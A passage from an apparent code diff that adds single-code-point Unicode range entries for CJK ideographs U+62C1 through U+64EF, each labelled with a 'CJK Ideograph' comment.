+ [0x62c1, 0x62c1], /* CJK Ideograph */
+ [0x62c2, 0x62c2], /* CJK Ideograph */
+ [0x62c3, 0x62c3], /* CJK Ideograph */
+ [0x62c4, 0x62c4], /* CJK Ideograph */
+ [0x62c5, 0x62c5], /* CJK Ideograph */
+ [0x62c6, 0x62c6], /* CJK Ideograph */
+ [0x62c7, 0x62c7], /* CJK Ideograph */
+ [0x62c8, 0x62c8], /* CJK Ideograph */
+ [0x62c9, 0x62c9], /* CJK Ideograph */
+ [0x62ca, 0x62ca], /* CJK Ideograph */
+ [0x62cb, 0x62cb], /* CJK Ideograph */
+ [0x62cc, 0x62cc], /* CJK Ideograph */
+ [0x62cd, 0x62cd], /* CJK Ideograph */
+ [0x62ce, 0x62ce], /* CJK Ideograph */
+ [0x62cf, 0x62cf], /* CJK Ideograph */
+ [0x62d0, 0x62d0], /* CJK Ideograph */
+ [0x62d1, 0x62d1], /* CJK Ideograph */
+ [0x62d2, 0x62d2], /* CJK Ideograph */
+ [0x62d3, 0x62d3], /* CJK Ideograph */
+ [0x62d4, 0x62d4], /* CJK Ideograph */
+ [0x62d5, 0x62d5], /* CJK Ideograph */
+ [0x62d6, 0x62d6], /* CJK Ideograph */
+ [0x62d7, 0x62d7], /* CJK Ideograph */
+ [0x62d8, 0x62d8], /* CJK Ideograph */
+ [0x62d9, 0x62d9], /* CJK Ideograph */
+ [0x62da, 0x62da], /* CJK Ideograph */
+ [0x62db, 0x62db], /* CJK Ideograph */
+ [0x62dc, 0x62dc], /* CJK Ideograph */
+ [0x62dd, 0x62dd], /* CJK Ideograph */
+ [0x62de, 0x62de], /* CJK Ideograph */
+ [0x62df, 0x62df], /* CJK Ideograph */
+ [0x62e0, 0x62e0], /* CJK Ideograph */
+ [0x62e1, 0x62e1], /* CJK Ideograph */
+ [0x62e2, 0x62e2], /* CJK Ideograph */
+ [0x62e3, 0x62e3], /* CJK Ideograph */
+ [0x62e4, 0x62e4], /* CJK Ideograph */
+ [0x62e5, 0x62e5], /* CJK Ideograph */
+ [0x62e6, 0x62e6], /* CJK Ideograph */
+ [0x62e7, 0x62e7], /* CJK Ideograph */
+ [0x62e8, 0x62e8], /* CJK Ideograph */
+ [0x62e9, 0x62e9], /* CJK Ideograph */
+ [0x62ea, 0x62ea], /* CJK Ideograph */
+ [0x62eb, 0x62eb], /* CJK Ideograph */
+ [0x62ec, 0x62ec], /* CJK Ideograph */
+ [0x62ed, 0x62ed], /* CJK Ideograph */
+ [0x62ee, 0x62ee], /* CJK Ideograph */
+ [0x62ef, 0x62ef], /* CJK Ideograph */
+ [0x62f0, 0x62f0], /* CJK Ideograph */
+ [0x62f1, 0x62f1], /* CJK Ideograph */
+ [0x62f2, 0x62f2], /* CJK Ideograph */
+ [0x62f3, 0x62f3], /* CJK Ideograph */
+ [0x62f4, 0x62f4], /* CJK Ideograph */
+ [0x62f5, 0x62f5], /* CJK Ideograph */
+ [0x62f6, 0x62f6], /* CJK Ideograph */
+ [0x62f7, 0x62f7], /* CJK Ideograph */
+ [0x62f8, 0x62f8], /* CJK Ideograph */
+ [0x62f9, 0x62f9], /* CJK Ideograph */
+ [0x62fa, 0x62fa], /* CJK Ideograph */
+ [0x62fb, 0x62fb], /* CJK Ideograph */
+ [0x62fc, 0x62fc], /* CJK Ideograph */
+ [0x62fd, 0x62fd], /* CJK Ideograph */
+ [0x62fe, 0x62fe], /* CJK Ideograph */
+ [0x62ff, 0x62ff], /* CJK Ideograph */
+ [0x6300, 0x6300], /* CJK Ideograph */
+ [0x6301, 0x6301], /* CJK Ideograph */
+ [0x6302, 0x6302], /* CJK Ideograph */
+ [0x6303, 0x6303], /* CJK Ideograph */
+ [0x6304, 0x6304], /* CJK Ideograph */
+ [0x6305, 0x6305], /* CJK Ideograph */
+ [0x6306, 0x6306], /* CJK Ideograph */
+ [0x6307, 0x6307], /* CJK Ideograph */
+ [0x6308, 0x6308], /* CJK Ideograph */
+ [0x6309, 0x6309], /* CJK Ideograph */
+ [0x630a, 0x630a], /* CJK Ideograph */
+ [0x630b, 0x630b], /* CJK Ideograph */
+ [0x630c, 0x630c], /* CJK Ideograph */
+ [0x630d, 0x630d], /* CJK Ideograph */
+ [0x630e, 0x630e], /* CJK Ideograph */
+ [0x630f, 0x630f], /* CJK Ideograph */
+ [0x6310, 0x6310], /* CJK Ideograph */
+ [0x6311, 0x6311], /* CJK Ideograph */
+ [0x6312, 0x6312], /* CJK Ideograph */
+ [0x6313, 0x6313], /* CJK Ideograph */
+ [0x6314, 0x6314], /* CJK Ideograph */
+ [0x6315, 0x6315], /* CJK Ideograph */
+ [0x6316, 0x6316], /* CJK Ideograph */
+ [0x6317, 0x6317], /* CJK Ideograph */
+ [0x6318, 0x6318], /* CJK Ideograph */
+ [0x6319, 0x6319], /* CJK Ideograph */
+ [0x631a, 0x631a], /* CJK Ideograph */
+ [0x631b, 0x631b], /* CJK Ideograph */
+ [0x631c, 0x631c], /* CJK Ideograph */
+ [0x631d, 0x631d], /* CJK Ideograph */
+ [0x631e, 0x631e], /* CJK Ideograph */
+ [0x631f, 0x631f], /* CJK Ideograph */
+ [0x6320, 0x6320], /* CJK Ideograph */
+ [0x6321, 0x6321], /* CJK Ideograph */
+ [0x6322, 0x6322], /* CJK Ideograph */
+ [0x6323, 0x6323], /* CJK Ideograph */
+ [0x6324, 0x6324], /* CJK Ideograph */
+ [0x6325, 0x6325], /* CJK Ideograph */
+ [0x6326, 0x6326], /* CJK Ideograph */
+ [0x6327, 0x6327], /* CJK Ideograph */
+ [0x6328, 0x6328], /* CJK Ideograph */
+ [0x6329, 0x6329], /* CJK Ideograph */
+ [0x632a, 0x632a], /* CJK Ideograph */
+ [0x632b, 0x632b], /* CJK Ideograph */
+ [0x632c, 0x632c], /* CJK Ideograph */
+ [0x632d, 0x632d], /* CJK Ideograph */
+ [0x632e, 0x632e], /* CJK Ideograph */
+ [0x632f, 0x632f], /* CJK Ideograph */
+ [0x6330, 0x6330], /* CJK Ideograph */
+ [0x6331, 0x6331], /* CJK Ideograph */
+ [0x6332, 0x6332], /* CJK Ideograph */
+ [0x6333, 0x6333], /* CJK Ideograph */
+ [0x6334, 0x6334], /* CJK Ideograph */
+ [0x6335, 0x6335], /* CJK Ideograph */
+ [0x6336, 0x6336], /* CJK Ideograph */
+ [0x6337, 0x6337], /* CJK Ideograph */
+ [0x6338, 0x6338], /* CJK Ideograph */
+ [0x6339, 0x6339], /* CJK Ideograph */
+ [0x633a, 0x633a], /* CJK Ideograph */
+ [0x633b, 0x633b], /* CJK Ideograph */
+ [0x633c, 0x633c], /* CJK Ideograph */
+ [0x633d, 0x633d], /* CJK Ideograph */
+ [0x633e, 0x633e], /* CJK Ideograph */
+ [0x633f, 0x633f], /* CJK Ideograph */
+ [0x6340, 0x6340], /* CJK Ideograph */
+ [0x6341, 0x6341], /* CJK Ideograph */
+ [0x6342, 0x6342], /* CJK Ideograph */
+ [0x6343, 0x6343], /* CJK Ideograph */
+ [0x6344, 0x6344], /* CJK Ideograph */
+ [0x6345, 0x6345], /* CJK Ideograph */
+ [0x6346, 0x6346], /* CJK Ideograph */
+ [0x6347, 0x6347], /* CJK Ideograph */
+ [0x6348, 0x6348], /* CJK Ideograph */
+ [0x6349, 0x6349], /* CJK Ideograph */
+ [0x634a, 0x634a], /* CJK Ideograph */
+ [0x634b, 0x634b], /* CJK Ideograph */
+ [0x634c, 0x634c], /* CJK Ideograph */
+ [0x634d, 0x634d], /* CJK Ideograph */
+ [0x634e, 0x634e], /* CJK Ideograph */
+ [0x634f, 0x634f], /* CJK Ideograph */
+ [0x6350, 0x6350], /* CJK Ideograph */
+ [0x6351, 0x6351], /* CJK Ideograph */
+ [0x6352, 0x6352], /* CJK Ideograph */
+ [0x6353, 0x6353], /* CJK Ideograph */
+ [0x6354, 0x6354], /* CJK Ideograph */
+ [0x6355, 0x6355], /* CJK Ideograph */
+ [0x6356, 0x6356], /* CJK Ideograph */
+ [0x6357, 0x6357], /* CJK Ideograph */
+ [0x6358, 0x6358], /* CJK Ideograph */
+ [0x6359, 0x6359], /* CJK Ideograph */
+ [0x635a, 0x635a], /* CJK Ideograph */
+ [0x635b, 0x635b], /* CJK Ideograph */
+ [0x635c, 0x635c], /* CJK Ideograph */
+ [0x635d, 0x635d], /* CJK Ideograph */
+ [0x635e, 0x635e], /* CJK Ideograph */
+ [0x635f, 0x635f], /* CJK Ideograph */
+ [0x6360, 0x6360], /* CJK Ideograph */
+ [0x6361, 0x6361], /* CJK Ideograph */
+ [0x6362, 0x6362], /* CJK Ideograph */
+ [0x6363, 0x6363], /* CJK Ideograph */
+ [0x6364, 0x6364], /* CJK Ideograph */
+ [0x6365, 0x6365], /* CJK Ideograph */
+ [0x6366, 0x6366], /* CJK Ideograph */
+ [0x6367, 0x6367], /* CJK Ideograph */
+ [0x6368, 0x6368], /* CJK Ideograph */
+ [0x6369, 0x6369], /* CJK Ideograph */
+ [0x636a, 0x636a], /* CJK Ideograph */
+ [0x636b, 0x636b], /* CJK Ideograph */
+ [0x636c, 0x636c], /* CJK Ideograph */
+ [0x636d, 0x636d], /* CJK Ideograph */
+ [0x636e, 0x636e], /* CJK Ideograph */
+ [0x636f, 0x636f], /* CJK Ideograph */
+ [0x6370, 0x6370], /* CJK Ideograph */
+ [0x6371, 0x6371], /* CJK Ideograph */
+ [0x6372, 0x6372], /* CJK Ideograph */
+ [0x6373, 0x6373], /* CJK Ideograph */
+ [0x6374, 0x6374], /* CJK Ideograph */
+ [0x6375, 0x6375], /* CJK Ideograph */
+ [0x6376, 0x6376], /* CJK Ideograph */
+ [0x6377, 0x6377], /* CJK Ideograph */
+ [0x6378, 0x6378], /* CJK Ideograph */
+ [0x6379, 0x6379], /* CJK Ideograph */
+ [0x637a, 0x637a], /* CJK Ideograph */
+ [0x637b, 0x637b], /* CJK Ideograph */
+ [0x637c, 0x637c], /* CJK Ideograph */
+ [0x637d, 0x637d], /* CJK Ideograph */
+ [0x637e, 0x637e], /* CJK Ideograph */
+ [0x637f, 0x637f], /* CJK Ideograph */
+ [0x6380, 0x6380], /* CJK Ideograph */
+ [0x6381, 0x6381], /* CJK Ideograph */
+ [0x6382, 0x6382], /* CJK Ideograph */
+ [0x6383, 0x6383], /* CJK Ideograph */
+ [0x6384, 0x6384], /* CJK Ideograph */
+ [0x6385, 0x6385], /* CJK Ideograph */
+ [0x6386, 0x6386], /* CJK Ideograph */
+ [0x6387, 0x6387], /* CJK Ideograph */
+ [0x6388, 0x6388], /* CJK Ideograph */
+ [0x6389, 0x6389], /* CJK Ideograph */
+ [0x638a, 0x638a], /* CJK Ideograph */
+ [0x638b, 0x638b], /* CJK Ideograph */
+ [0x638c, 0x638c], /* CJK Ideograph */
+ [0x638d, 0x638d], /* CJK Ideograph */
+ [0x638e, 0x638e], /* CJK Ideograph */
+ [0x638f, 0x638f], /* CJK Ideograph */
+ [0x6390, 0x6390], /* CJK Ideograph */
+ [0x6391, 0x6391], /* CJK Ideograph */
+ [0x6392, 0x6392], /* CJK Ideograph */
+ [0x6393, 0x6393], /* CJK Ideograph */
+ [0x6394, 0x6394], /* CJK Ideograph */
+ [0x6395, 0x6395], /* CJK Ideograph */
+ [0x6396, 0x6396], /* CJK Ideograph */
+ [0x6397, 0x6397], /* CJK Ideograph */
+ [0x6398, 0x6398], /* CJK Ideograph */
+ [0x6399, 0x6399], /* CJK Ideograph */
+ [0x639a, 0x639a], /* CJK Ideograph */
+ [0x639b, 0x639b], /* CJK Ideograph */
+ [0x639c, 0x639c], /* CJK Ideograph */
+ [0x639d, 0x639d], /* CJK Ideograph */
+ [0x639e, 0x639e], /* CJK Ideograph */
+ [0x639f, 0x639f], /* CJK Ideograph */
+ [0x63a0, 0x63a0], /* CJK Ideograph */
+ [0x63a1, 0x63a1], /* CJK Ideograph */
+ [0x63a2, 0x63a2], /* CJK Ideograph */
+ [0x63a3, 0x63a3], /* CJK Ideograph */
+ [0x63a4, 0x63a4], /* CJK Ideograph */
+ [0x63a5, 0x63a5], /* CJK Ideograph */
+ [0x63a6, 0x63a6], /* CJK Ideograph */
+ [0x63a7, 0x63a7], /* CJK Ideograph */
+ [0x63a8, 0x63a8], /* CJK Ideograph */
+ [0x63a9, 0x63a9], /* CJK Ideograph */
+ [0x63aa, 0x63aa], /* CJK Ideograph */
+ [0x63ab, 0x63ab], /* CJK Ideograph */
+ [0x63ac, 0x63ac], /* CJK Ideograph */
+ [0x63ad, 0x63ad], /* CJK Ideograph */
+ [0x63ae, 0x63ae], /* CJK Ideograph */
+ [0x63af, 0x63af], /* CJK Ideograph */
+ [0x63b0, 0x63b0], /* CJK Ideograph */
+ [0x63b1, 0x63b1], /* CJK Ideograph */
+ [0x63b2, 0x63b2], /* CJK Ideograph */
+ [0x63b3, 0x63b3], /* CJK Ideograph */
+ [0x63b4, 0x63b4], /* CJK Ideograph */
+ [0x63b5, 0x63b5], /* CJK Ideograph */
+ [0x63b6, 0x63b6], /* CJK Ideograph */
+ [0x63b7, 0x63b7], /* CJK Ideograph */
+ [0x63b8, 0x63b8], /* CJK Ideograph */
+ [0x63b9, 0x63b9], /* CJK Ideograph */
+ [0x63ba, 0x63ba], /* CJK Ideograph */
+ [0x63bb, 0x63bb], /* CJK Ideograph */
+ [0x63bc, 0x63bc], /* CJK Ideograph */
+ [0x63bd, 0x63bd], /* CJK Ideograph */
+ [0x63be, 0x63be], /* CJK Ideograph */
+ [0x63bf, 0x63bf], /* CJK Ideograph */
+ [0x63c0, 0x63c0], /* CJK Ideograph */
+ [0x63c1, 0x63c1], /* CJK Ideograph */
+ [0x63c2, 0x63c2], /* CJK Ideograph */
+ [0x63c3, 0x63c3], /* CJK Ideograph */
+ [0x63c4, 0x63c4], /* CJK Ideograph */
+ [0x63c5, 0x63c5], /* CJK Ideograph */
+ [0x63c6, 0x63c6], /* CJK Ideograph */
+ [0x63c7, 0x63c7], /* CJK Ideograph */
+ [0x63c8, 0x63c8], /* CJK Ideograph */
+ [0x63c9, 0x63c9], /* CJK Ideograph */
+ [0x63ca, 0x63ca], /* CJK Ideograph */
+ [0x63cb, 0x63cb], /* CJK Ideograph */
+ [0x63cc, 0x63cc], /* CJK Ideograph */
+ [0x63cd, 0x63cd], /* CJK Ideograph */
+ [0x63ce, 0x63ce], /* CJK Ideograph */
+ [0x63cf, 0x63cf], /* CJK Ideograph */
+ [0x63d0, 0x63d0], /* CJK Ideograph */
+ [0x63d1, 0x63d1], /* CJK Ideograph */
+ [0x63d2, 0x63d2], /* CJK Ideograph */
+ [0x63d3, 0x63d3], /* CJK Ideograph */
+ [0x63d4, 0x63d4], /* CJK Ideograph */
+ [0x63d5, 0x63d5], /* CJK Ideograph */
+ [0x63d6, 0x63d6], /* CJK Ideograph */
+ [0x63d7, 0x63d7], /* CJK Ideograph */
+ [0x63d8, 0x63d8], /* CJK Ideograph */
+ [0x63d9, 0x63d9], /* CJK Ideograph */
+ [0x63da, 0x63da], /* CJK Ideograph */
+ [0x63db, 0x63db], /* CJK Ideograph */
+ [0x63dc, 0x63dc], /* CJK Ideograph */
+ [0x63dd, 0x63dd], /* CJK Ideograph */
+ [0x63de, 0x63de], /* CJK Ideograph */
+ [0x63df, 0x63df], /* CJK Ideograph */
+ [0x63e0, 0x63e0], /* CJK Ideograph */
+ [0x63e1, 0x63e1], /* CJK Ideograph */
+ [0x63e2, 0x63e2], /* CJK Ideograph */
+ [0x63e3, 0x63e3], /* CJK Ideograph */
+ [0x63e4, 0x63e4], /* CJK Ideograph */
+ [0x63e5, 0x63e5], /* CJK Ideograph */
+ [0x63e6, 0x63e6], /* CJK Ideograph */
+ [0x63e7, 0x63e7], /* CJK Ideograph */
+ [0x63e8, 0x63e8], /* CJK Ideograph */
+ [0x63e9, 0x63e9], /* CJK Ideograph */
+ [0x63ea, 0x63ea], /* CJK Ideograph */
+ [0x63eb, 0x63eb], /* CJK Ideograph */
+ [0x63ec, 0x63ec], /* CJK Ideograph */
+ [0x63ed, 0x63ed], /* CJK Ideograph */
+ [0x63ee, 0x63ee], /* CJK Ideograph */
+ [0x63ef, 0x63ef], /* CJK Ideograph */
+ [0x63f0, 0x63f0], /* CJK Ideograph */
+ [0x63f1, 0x63f1], /* CJK Ideograph */
+ [0x63f2, 0x63f2], /* CJK Ideograph */
+ [0x63f3, 0x63f3], /* CJK Ideograph */
+ [0x63f4, 0x63f4], /* CJK Ideograph */
+ [0x63f5, 0x63f5], /* CJK Ideograph */
+ [0x63f6, 0x63f6], /* CJK Ideograph */
+ [0x63f7, 0x63f7], /* CJK Ideograph */
+ [0x63f8, 0x63f8], /* CJK Ideograph */
+ [0x63f9, 0x63f9], /* CJK Ideograph */
+ [0x63fa, 0x63fa], /* CJK Ideograph */
+ [0x63fb, 0x63fb], /* CJK Ideograph */
+ [0x63fc, 0x63fc], /* CJK Ideograph */
+ [0x63fd, 0x63fd], /* CJK Ideograph */
+ [0x63fe, 0x63fe], /* CJK Ideograph */
+ [0x63ff, 0x63ff], /* CJK Ideograph */
+ [0x6400, 0x6400], /* CJK Ideograph */
+ [0x6401, 0x6401], /* CJK Ideograph */
+ [0x6402, 0x6402], /* CJK Ideograph */
+ [0x6403, 0x6403], /* CJK Ideograph */
+ [0x6404, 0x6404], /* CJK Ideograph */
+ [0x6405, 0x6405], /* CJK Ideograph */
+ [0x6406, 0x6406], /* CJK Ideograph */
+ [0x6407, 0x6407], /* CJK Ideograph */
+ [0x6408, 0x6408], /* CJK Ideograph */
+ [0x6409, 0x6409], /* CJK Ideograph */
+ [0x640a, 0x640a], /* CJK Ideograph */
+ [0x640b, 0x640b], /* CJK Ideograph */
+ [0x640c, 0x640c], /* CJK Ideograph */
+ [0x640d, 0x640d], /* CJK Ideograph */
+ [0x640e, 0x640e], /* CJK Ideograph */
+ [0x640f, 0x640f], /* CJK Ideograph */
+ [0x6410, 0x6410], /* CJK Ideograph */
+ [0x6411, 0x6411], /* CJK Ideograph */
+ [0x6412, 0x6412], /* CJK Ideograph */
+ [0x6413, 0x6413], /* CJK Ideograph */
+ [0x6414, 0x6414], /* CJK Ideograph */
+ [0x6415, 0x6415], /* CJK Ideograph */
+ [0x6416, 0x6416], /* CJK Ideograph */
+ [0x6417, 0x6417], /* CJK Ideograph */
+ [0x6418, 0x6418], /* CJK Ideograph */
+ [0x6419, 0x6419], /* CJK Ideograph */
+ [0x641a, 0x641a], /* CJK Ideograph */
+ [0x641b, 0x641b], /* CJK Ideograph */
+ [0x641c, 0x641c], /* CJK Ideograph */
+ [0x641d, 0x641d], /* CJK Ideograph */
+ [0x641e, 0x641e], /* CJK Ideograph */
+ [0x641f, 0x641f], /* CJK Ideograph */
+ [0x6420, 0x6420], /* CJK Ideograph */
+ [0x6421, 0x6421], /* CJK Ideograph */
+ [0x6422, 0x6422], /* CJK Ideograph */
+ [0x6423, 0x6423], /* CJK Ideograph */
+ [0x6424, 0x6424], /* CJK Ideograph */
+ [0x6425, 0x6425], /* CJK Ideograph */
+ [0x6426, 0x6426], /* CJK Ideograph */
+ [0x6427, 0x6427], /* CJK Ideograph */
+ [0x6428, 0x6428], /* CJK Ideograph */
+ [0x6429, 0x6429], /* CJK Ideograph */
+ [0x642a, 0x642a], /* CJK Ideograph */
+ [0x642b, 0x642b], /* CJK Ideograph */
+ [0x642c, 0x642c], /* CJK Ideograph */
+ [0x642d, 0x642d], /* CJK Ideograph */
+ [0x642e, 0x642e], /* CJK Ideograph */
+ [0x642f, 0x642f], /* CJK Ideograph */
+ [0x6430, 0x6430], /* CJK Ideograph */
+ [0x6431, 0x6431], /* CJK Ideograph */
+ [0x6432, 0x6432], /* CJK Ideograph */
+ [0x6433, 0x6433], /* CJK Ideograph */
+ [0x6434, 0x6434], /* CJK Ideograph */
+ [0x6435, 0x6435], /* CJK Ideograph */
+ [0x6436, 0x6436], /* CJK Ideograph */
+ [0x6437, 0x6437], /* CJK Ideograph */
+ [0x6438, 0x6438], /* CJK Ideograph */
+ [0x6439, 0x6439], /* CJK Ideograph */
+ [0x643a, 0x643a], /* CJK Ideograph */
+ [0x643b, 0x643b], /* CJK Ideograph */
+ [0x643c, 0x643c], /* CJK Ideograph */
+ [0x643d, 0x643d], /* CJK Ideograph */
+ [0x643e, 0x643e], /* CJK Ideograph */
+ [0x643f, 0x643f], /* CJK Ideograph */
+ [0x6440, 0x6440], /* CJK Ideograph */
+ [0x6441, 0x6441], /* CJK Ideograph */
+ [0x6442, 0x6442], /* CJK Ideograph */
+ [0x6443, 0x6443], /* CJK Ideograph */
+ [0x6444, 0x6444], /* CJK Ideograph */
+ [0x6445, 0x6445], /* CJK Ideograph */
+ [0x6446, 0x6446], /* CJK Ideograph */
+ [0x6447, 0x6447], /* CJK Ideograph */
+ [0x6448, 0x6448], /* CJK Ideograph */
+ [0x6449, 0x6449], /* CJK Ideograph */
+ [0x644a, 0x644a], /* CJK Ideograph */
+ [0x644b, 0x644b], /* CJK Ideograph */
+ [0x644c, 0x644c], /* CJK Ideograph */
+ [0x644d, 0x644d], /* CJK Ideograph */
+ [0x644e, 0x644e], /* CJK Ideograph */
+ [0x644f, 0x644f], /* CJK Ideograph */
+ [0x6450, 0x6450], /* CJK Ideograph */
+ [0x6451, 0x6451], /* CJK Ideograph */
+ [0x6452, 0x6452], /* CJK Ideograph */
+ [0x6453, 0x6453], /* CJK Ideograph */
+ [0x6454, 0x6454], /* CJK Ideograph */
+ [0x6455, 0x6455], /* CJK Ideograph */
+ [0x6456, 0x6456], /* CJK Ideograph */
+ [0x6457, 0x6457], /* CJK Ideograph */
+ [0x6458, 0x6458], /* CJK Ideograph */
+ [0x6459, 0x6459], /* CJK Ideograph */
+ [0x645a, 0x645a], /* CJK Ideograph */
+ [0x645b, 0x645b], /* CJK Ideograph */
+ [0x645c, 0x645c], /* CJK Ideograph */
+ [0x645d, 0x645d], /* CJK Ideograph */
+ [0x645e, 0x645e], /* CJK Ideograph */
+ [0x645f, 0x645f], /* CJK Ideograph */
+ [0x6460, 0x6460], /* CJK Ideograph */
+ [0x6461, 0x6461], /* CJK Ideograph */
+ [0x6462, 0x6462], /* CJK Ideograph */
+ [0x6463, 0x6463], /* CJK Ideograph */
+ [0x6464, 0x6464], /* CJK Ideograph */
+ [0x6465, 0x6465], /* CJK Ideograph */
+ [0x6466, 0x6466], /* CJK Ideograph */
+ [0x6467, 0x6467], /* CJK Ideograph */
+ [0x6468, 0x6468], /* CJK Ideograph */
+ [0x6469, 0x6469], /* CJK Ideograph */
+ [0x646a, 0x646a], /* CJK Ideograph */
+ [0x646b, 0x646b], /* CJK Ideograph */
+ [0x646c, 0x646c], /* CJK Ideograph */
+ [0x646d, 0x646d], /* CJK Ideograph */
+ [0x646e, 0x646e], /* CJK Ideograph */
+ [0x646f, 0x646f], /* CJK Ideograph */
+ [0x6470, 0x6470], /* CJK Ideograph */
+ [0x6471, 0x6471], /* CJK Ideograph */
+ [0x6472, 0x6472], /* CJK Ideograph */
+ [0x6473, 0x6473], /* CJK Ideograph */
+ [0x6474, 0x6474], /* CJK Ideograph */
+ [0x6475, 0x6475], /* CJK Ideograph */
+ [0x6476, 0x6476], /* CJK Ideograph */
+ [0x6477, 0x6477], /* CJK Ideograph */
+ [0x6478, 0x6478], /* CJK Ideograph */
+ [0x6479, 0x6479], /* CJK Ideograph */
+ [0x647a, 0x647a], /* CJK Ideograph */
+ [0x647b, 0x647b], /* CJK Ideograph */
+ [0x647c, 0x647c], /* CJK Ideograph */
+ [0x647d, 0x647d], /* CJK Ideograph */
+ [0x647e, 0x647e], /* CJK Ideograph */
+ [0x647f, 0x647f], /* CJK Ideograph */
+ [0x6480, 0x6480], /* CJK Ideograph */
+ [0x6481, 0x6481], /* CJK Ideograph */
+ [0x6482, 0x6482], /* CJK Ideograph */
+ [0x6483, 0x6483], /* CJK Ideograph */
+ [0x6484, 0x6484], /* CJK Ideograph */
+ [0x6485, 0x6485], /* CJK Ideograph */
+ [0x6486, 0x6486], /* CJK Ideograph */
+ [0x6487, 0x6487], /* CJK Ideograph */
+ [0x6488, 0x6488], /* CJK Ideograph */
+ [0x6489, 0x6489], /* CJK Ideograph */
+ [0x648a, 0x648a], /* CJK Ideograph */
+ [0x648b, 0x648b], /* CJK Ideograph */
+ [0x648c, 0x648c], /* CJK Ideograph */
+ [0x648d, 0x648d], /* CJK Ideograph */
+ [0x648e, 0x648e], /* CJK Ideograph */
+ [0x648f, 0x648f], /* CJK Ideograph */
+ [0x6490, 0x6490], /* CJK Ideograph */
+ [0x6491, 0x6491], /* CJK Ideograph */
+ [0x6492, 0x6492], /* CJK Ideograph */
+ [0x6493, 0x6493], /* CJK Ideograph */
+ [0x6494, 0x6494], /* CJK Ideograph */
+ [0x6495, 0x6495], /* CJK Ideograph */
+ [0x6496, 0x6496], /* CJK Ideograph */
+ [0x6497, 0x6497], /* CJK Ideograph */
+ [0x6498, 0x6498], /* CJK Ideograph */
+ [0x6499, 0x6499], /* CJK Ideograph */
+ [0x649a, 0x649a], /* CJK Ideograph */
+ [0x649b, 0x649b], /* CJK Ideograph */
+ [0x649c, 0x649c], /* CJK Ideograph */
+ [0x649d, 0x649d], /* CJK Ideograph */
+ [0x649e, 0x649e], /* CJK Ideograph */
+ [0x649f, 0x649f], /* CJK Ideograph */
+ [0x64a0, 0x64a0], /* CJK Ideograph */
+ [0x64a1, 0x64a1], /* CJK Ideograph */
+ [0x64a2, 0x64a2], /* CJK Ideograph */
+ [0x64a3, 0x64a3], /* CJK Ideograph */
+ [0x64a4, 0x64a4], /* CJK Ideograph */
+ [0x64a5, 0x64a5], /* CJK Ideograph */
+ [0x64a6, 0x64a6], /* CJK Ideograph */
+ [0x64a7, 0x64a7], /* CJK Ideograph */
+ [0x64a8, 0x64a8], /* CJK Ideograph */
+ [0x64a9, 0x64a9], /* CJK Ideograph */
+ [0x64aa, 0x64aa], /* CJK Ideograph */
+ [0x64ab, 0x64ab], /* CJK Ideograph */
+ [0x64ac, 0x64ac], /* CJK Ideograph */
+ [0x64ad, 0x64ad], /* CJK Ideograph */
+ [0x64ae, 0x64ae], /* CJK Ideograph */
+ [0x64af, 0x64af], /* CJK Ideograph */
+ [0x64b0, 0x64b0], /* CJK Ideograph */
+ [0x64b1, 0x64b1], /* CJK Ideograph */
+ [0x64b2, 0x64b2], /* CJK Ideograph */
+ [0x64b3, 0x64b3], /* CJK Ideograph */
+ [0x64b4, 0x64b4], /* CJK Ideograph */
+ [0x64b5, 0x64b5], /* CJK Ideograph */
+ [0x64b6, 0x64b6], /* CJK Ideograph */
+ [0x64b7, 0x64b7], /* CJK Ideograph */
+ [0x64b8, 0x64b8], /* CJK Ideograph */
+ [0x64b9, 0x64b9], /* CJK Ideograph */
+ [0x64ba, 0x64ba], /* CJK Ideograph */
+ [0x64bb, 0x64bb], /* CJK Ideograph */
+ [0x64bc, 0x64bc], /* CJK Ideograph */
+ [0x64bd, 0x64bd], /* CJK Ideograph */
+ [0x64be, 0x64be], /* CJK Ideograph */
+ [0x64bf, 0x64bf], /* CJK Ideograph */
+ [0x64c0, 0x64c0], /* CJK Ideograph */
+ [0x64c1, 0x64c1], /* CJK Ideograph */
+ [0x64c2, 0x64c2], /* CJK Ideograph */
+ [0x64c3, 0x64c3], /* CJK Ideograph */
+ [0x64c4, 0x64c4], /* CJK Ideograph */
+ [0x64c5, 0x64c5], /* CJK Ideograph */
+ [0x64c6, 0x64c6], /* CJK Ideograph */
+ [0x64c7, 0x64c7], /* CJK Ideograph */
+ [0x64c8, 0x64c8], /* CJK Ideograph */
+ [0x64c9, 0x64c9], /* CJK Ideograph */
+ [0x64ca, 0x64ca], /* CJK Ideograph */
+ [0x64cb, 0x64cb], /* CJK Ideograph */
+ [0x64cc, 0x64cc], /* CJK Ideograph */
+ [0x64cd, 0x64cd], /* CJK Ideograph */
+ [0x64ce, 0x64ce], /* CJK Ideograph */
+ [0x64cf, 0x64cf], /* CJK Ideograph */
+ [0x64d0, 0x64d0], /* CJK Ideograph */
+ [0x64d1, 0x64d1], /* CJK Ideograph */
+ [0x64d2, 0x64d2], /* CJK Ideograph */
+ [0x64d3, 0x64d3], /* CJK Ideograph */
+ [0x64d4, 0x64d4], /* CJK Ideograph */
+ [0x64d5, 0x64d5], /* CJK Ideograph */
+ [0x64d6, 0x64d6], /* CJK Ideograph */
+ [0x64d7, 0x64d7], /* CJK Ideograph */
+ [0x64d8, 0x64d8], /* CJK Ideograph */
+ [0x64d9, 0x64d9], /* CJK Ideograph */
+ [0x64da, 0x64da], /* CJK Ideograph */
+ [0x64db, 0x64db], /* CJK Ideograph */
+ [0x64dc, 0x64dc], /* CJK Ideograph */
+ [0x64dd, 0x64dd], /* CJK Ideograph */
+ [0x64de, 0x64de], /* CJK Ideograph */
+ [0x64df, 0x64df], /* CJK Ideograph */
+ [0x64e0, 0x64e0], /* CJK Ideograph */
+ [0x64e1, 0x64e1], /* CJK Ideograph */
+ [0x64e2, 0x64e2], /* CJK Ideograph */
+ [0x64e3, 0x64e3], /* CJK Ideograph */
+ [0x64e4, 0x64e4], /* CJK Ideograph */
+ [0x64e5, 0x64e5], /* CJK Ideograph */
+ [0x64e6, 0x64e6], /* CJK Ideograph */
+ [0x64e7, 0x64e7], /* CJK Ideograph */
+ [0x64e8, 0x64e8], /* CJK Ideograph */
+ [0x64e9, 0x64e9], /* CJK Ideograph */
+ [0x64ea, 0x64ea], /* CJK Ideograph */
+ [0x64eb, 0x64eb], /* CJK Ideograph */
+ [0x64ec, 0x64ec], /* CJK Ideograph */
+ [0x64ed, 0x64ed], /* CJK Ideograph */
+ [0x64ee, 0x64ee], /* CJK Ideograph */
+ [0x64ef, 0x64ef], /* CJK Ideograph */
